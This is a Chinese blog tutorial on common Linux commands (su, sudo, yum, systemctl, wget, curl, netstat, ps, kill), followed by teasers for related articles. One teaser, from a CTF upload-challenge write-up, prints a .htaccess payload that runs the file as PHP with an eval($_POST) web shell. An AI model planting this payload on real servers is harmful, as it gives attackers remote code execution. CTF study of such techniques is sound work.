Linux03——常见的操作命令

devtools/2025/2/5 4:55:02/

root用户以及权限

Linux系统的超级管理员用户是:root用户

  1. su命令

    • 可以切换用户,语法:su [-] [用户名]
    • - 表示切换后加载环境变量,建议带上
    • 用户可以省略,省略默认切换到root

su命令是用于账户切换的系统命令,其来源英文单词:Switch User
语法:su [-] [用户名]

  • 符号是可选的,表示是否在切换用户后加载环境变量(后续讲解),建议带上。

参考:用户名,表示要切换的用户,用户名也可以省略,省略表示切换到root。

切换用户后,可以通过exit命令退出到一个用户,也可以使用快捷键:ctrl + d

  • 使用普通用户,切换到其他用户需要输入密码,如切换到root用户。
  • 使用root用户切换到其他用户,无需密码,可以直接切换。
  1. sudo命令

    • 可以让一条普通命令带有root权限,语法:sudo [其他命令]
    • 需要以root用户执行visudo命令,增加配置方可让普通用户有sudo命令的执行权限

各类小技巧快捷键

  1. ctrl + c 强制停止

  2. ctrl + d 退出登出

  3. history 查看历史命令

  4. !命令前缀,自动匹配上一个命令

    !n:执行历史记录中编号为 n 的命令。例如,!15 执行第 15 条历史命令。
    !-n:执行距离当前命令 n 条的命令。例如,!-1 执行最后一条命令。
  5. ctrl + r,搜索历史命令

  6. ctrl + a | e,光标移动到命令开始

  7. ctrl + ← | →,左右跳单词

  8. ctrl + l 或 clear 命令,清屏

安装软件

yum: RPM包软件管理器,用于自动化安装配置Linux软件,并可以自动解决依赖问题。
语法:

yum [-y] [install | remove | search] 软件名称

• 选项:-y,自动确认,无需手动确认安装或卸载过程
• install: 安装
• remove: 卸载
• search: 搜索

yum命令需要root权限哦,可以su切换到root或使用sudo特权
yum命令需要联网

 systemctl命令

Linux系统 支持使用 systemctl 命令控制软件。

主要命令

语法:systemctl start | stop | status | enable | disable [服务名称]

  • start 启动
  • stop 关闭
  • status 查看状态
  • enable 开机自启
  • disable 关闭开机自启

示例服务

  1. NetworkManager - 主网络服务
  2. network - 副网络服务
  3. firewalld - 防火墙服务
  4. sshd - SSH 服务(如 FinalShell 远程登录所用的服务)

查看防火墙状态:sudo systemctl status firewalld

• 系统内置服务均可被systemctl控制
• 第三方软件,如果自动注册了可以被systemctl控制
• 第三方软件,如果没有自动注册,可以手动注册

软连接

在系统中创建软链接,可以将文件、文件夹链接到其它位置。类似Windows系统中的“快捷方式”

语法:ln -s 参数1 参数2
• -s选项,创建软连接
• 参数1:被链接的文件或文件夹
• 参数2:要链接去的目的地

实例:
• ln -s /etc/yum.conf /yum.conf
• ln -s /etc/yum ~/yum

Date

通过date命令可以在命令行中查看系统的时间

语法:date [-d] [+格式化字符串]

• -d 按照给定的字符串显示日期,一般用于日期计算

• 格式化字符串:通过特定的字符串标记,来控制显示的日期格式
  • %Y 年
  • %y 年份后两位数字 (00..99)
  • %m 月份 (01..12)
  • %d 日 (01..31)
  • %H 小时 (00..23)
  • %M 分钟 (00..59)
  • %S 秒 (00..60)
  • %s 自1970-01-01 00:00:00 UTC 到现在的秒数

IP地址

每一台联网的电脑都会有一个地址,用于和其它计算机进行通讯
IP地址主要有2个版本,V4版本和V6版本(V6很少用,课程暂不涉及)
IPv4版本的地址格式是:a.b.c.d 其中abcd表示0~255的数字,如192.168.88.10就是一个标准的IP地址

可以通过命令 ifconfig,查看本机的ip地址,如无法使用ifconfig命令,可以安装:yum -y install net-tools

本机IP地址:127.0.0.1

 主机名

域名解析与主机名映射

 主机名映射(Hostname Mapping)是在网络中将主机名与其对应的IP地址相互关联的过程。通过这种映射,用户可以使用更加友好的主机名而不是难记的IP地址来访问计算机或网络设备。

 配置Linux固定Ip地址

为什么需要固定IP

当前我们虚拟机的Linux操作系统,其IP地址是通过DHCP服务获取的。
DHCP:动态获取IP地址,每次重新启动设备后都会获取一次,这可能导致IP地址频繁变化。

原因1:办公电脑IP地址变化无所谓,但是我们要远程连接Linux系统,如果IP地址经常变化我们就需要频繁修改配置很麻烦。

原因2:在刚刚我们配置了虚拟机IP地址和主机名的映射,如果IP频繁更改,我们也需要频繁更新映射关系。

具体步骤:第四章-07-配置Linux固定IP地址_哔哩哔哩_bilibili

网络传输(ping命令、wget命令、curl命令)

ping命令

可以通过 ping 命令,检查指定的网络服务器是否是可联通状态。

语法:ping [选项] [主机名或IP地址]

  • 选项-c,检查的次数,不使用 -c 选项,将无限次数持续检查。
  • 参数ip 或主机名,被检查的服务器的 IP 地址或主机名。

eg:指定发送次数ping -c 5 192.168.1.1

wget命令

wget 是非交互式的文件下载器,可以在命令行内下载网络文件。

语法

wget [-b] url

选项

  • -b:可选,后台下载,会将日志写入到当前工作目录的 wget-log 文件。

参数

  • url:下载链接。

示例

下载 Apache Hadoop 3.3.0 版本:

wget http://archive.apache.org/dist/hadoop/common/hadoop-3.3.0/hadoop-3.3.0.tar.gz

在后台下载:

wget -b http://archive.apache.org/dist/hadoop/common/hadoop-3.3.0/hadoop-3.3.0.tar.gz

通过 tail 命令可以监控后台下载进度:

tail -f wget-log

注意:无论下载是否完成,都会生成要下载的文件。如果下载未完成,请及时清理未完成的不可用文件。

curl命令

curl 可以发送 HTTP 网络请求,可用于 下载文件获取信息 等。

语法

curl [-O] url

选项

  • -O:用于下载文件,当 url 是下载链接时,可以使用此选项保存文件。

参数

  • url:要发送请求的网络地址。

端口

端口是用于标识网络服务和应用程序的逻辑连接点。系统通过端口号来区分同一 IP 地址的不同应用或服务。端口号的范围是 0 到 65535,分为以下几类:

  • 公认端口:1~1023,通常用于一些系统内部设置或各程序的预留使用,如SSH服务的22端口,HTTPS服务的443端口。非常特殊需要,不要占用这个范围的端口。

  • 注册端口:1024~49151,通常可以随意使用,用于松散的固定一些程序服务。

  • 动态端口:49152~65535,通常不会固定位程序,而是当前程序对外进行网络链接时,用于临时使用。

查看端口占用

可以通过 Linux 命令去查看端口的占用情况。

  • 使用 nmap 命令,安装 nmapyum -y install nmap
  • 语法nmap 目标IP 地址

可以通过 netstat 命令,查看指定端口的占用情况。

语法

netstat -anp | grep 6000

 进程

查看进程

可以通过 ps 命令查看 Linux 系统中的进程信息。

语法

ps [-e -f]

选项

  • -e:显示出全部的进程。
  • -f:以完全格式化的形式显示信息(展示全部信息)。

一般来说,固定用法就是ps -ef 列出全部进程的全部信息。

查看指定进程 

ps -ef | grep <进程名>

关闭进程 

  1. 使用kill命令

    • 首先,使用 ps 或 pgrep 找到你要关闭的进程的进程ID(PID)。
    • 然后,使用以下命令关闭进程:

      kill <PID>

    • 例如,如果进程ID是 1234:

      kill 1234

  2. 强制关闭进程

    • 如果进程没有响应,可以使用 -9 选项强制关闭:

      kill -9 <PID>

    • 例如:

      kill -9 1234

  3. 使用pkill命令

    • pkill 允许你通过进程名称直接关闭进程:

      pkill <进程名>

    • 例如:

      pkill nginx

请小心使用这些命令,尤其是 kill -9,这可能导致未保存的数据丢失。


http://www.ppmy.cn/devtools/156180.html

相关文章

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程 github地址 https://github.com/xiaoxiaoranxxx/POT-ZHIYUN k8s搭建教程 首先下载代码文件 git clone https://github.com/xiaoxiaoranxxx/POT-ZHIYUN.git cd POT-ZHIYUN编译镜像 代码相关文件在github https://github.com/x…

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码)

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09; 目录 手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09;Stable Diffusion 原理图Stable Diffusion的原理解释Stable Diffusion 和Di…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

【深度学习】DeepSeek模型介绍与部署

原文链接&#xff1a;DeepSeek-V3 1. 介绍 DeepSeek-V3&#xff0c;一个强大的混合专家 (MoE) 语言模型&#xff0c;拥有 671B 总参数&#xff0c;其中每个 token 激活 37B 参数。 为了实现高效推理和成本效益的训练&#xff0c;DeepSeek-V3 采用了多头潜在注意力 (MLA) 和 De…

初阶mysql修炼手册

0.MySQL 在 Centos 7环境安装 0.1 卸载不要的环境 ps ajx |grep mariadb # 先检查是否有 mariadb 存在 systemctl stop mariadb.service # 停⽌ mariadb 服务 ps ajx |grep mariadb # 再 检查是否有 mariadb 存在 0.2 删除多余的安装包 rpm -qa | grep mysql #查看默认安…

360嵌入式开发面试题及参考答案

解释一下 802.11ax 和 802.11ac/n 有什么区别 速度与带宽 802.11n 支持的最高理论速率为 600Mbps,802.11ac 进一步提升,单流最高可达 866.7Mbps,多流情况下能达到更高,如 1.3Gbps 等。而 802.11ax(Wi-Fi 6)引入了更多先进技术,理论最高速率可达 9.6Gbps,相比前两者有大…

WebSocket 实时通信详解:原理、应用与实践

WebSocket 实时通信详解&#xff1a;原理、应用与实践 WebSocket 实时通信详解&#xff1a;原理、应用与实践引言什么是WebSocket&#xff1f;主要特点 WebSocket 工作原理1. 握手过程2. 协议转换3. 数据帧传输 WebSocket 协议与API1. 协议版本2. HTTP头部3. JavaScript API4. …

使用LLaMA-Factory对AI进行认知的微调

使用LLaMA-Factory对AI进行认知的微调 引言1. 安装LLaMA-Factory1.1. 克隆仓库1.2. 创建虚拟环境1.3. 安装LLaMA-Factory1.4. 验证 2. 准备数据2.1. 创建数据集2.2. 更新数据集信息 3. 启动LLaMA-Factory4. 进行微调4.1. 设置模型4.2. 预览数据集4.3. 设置学习率等参数4.4. 预览…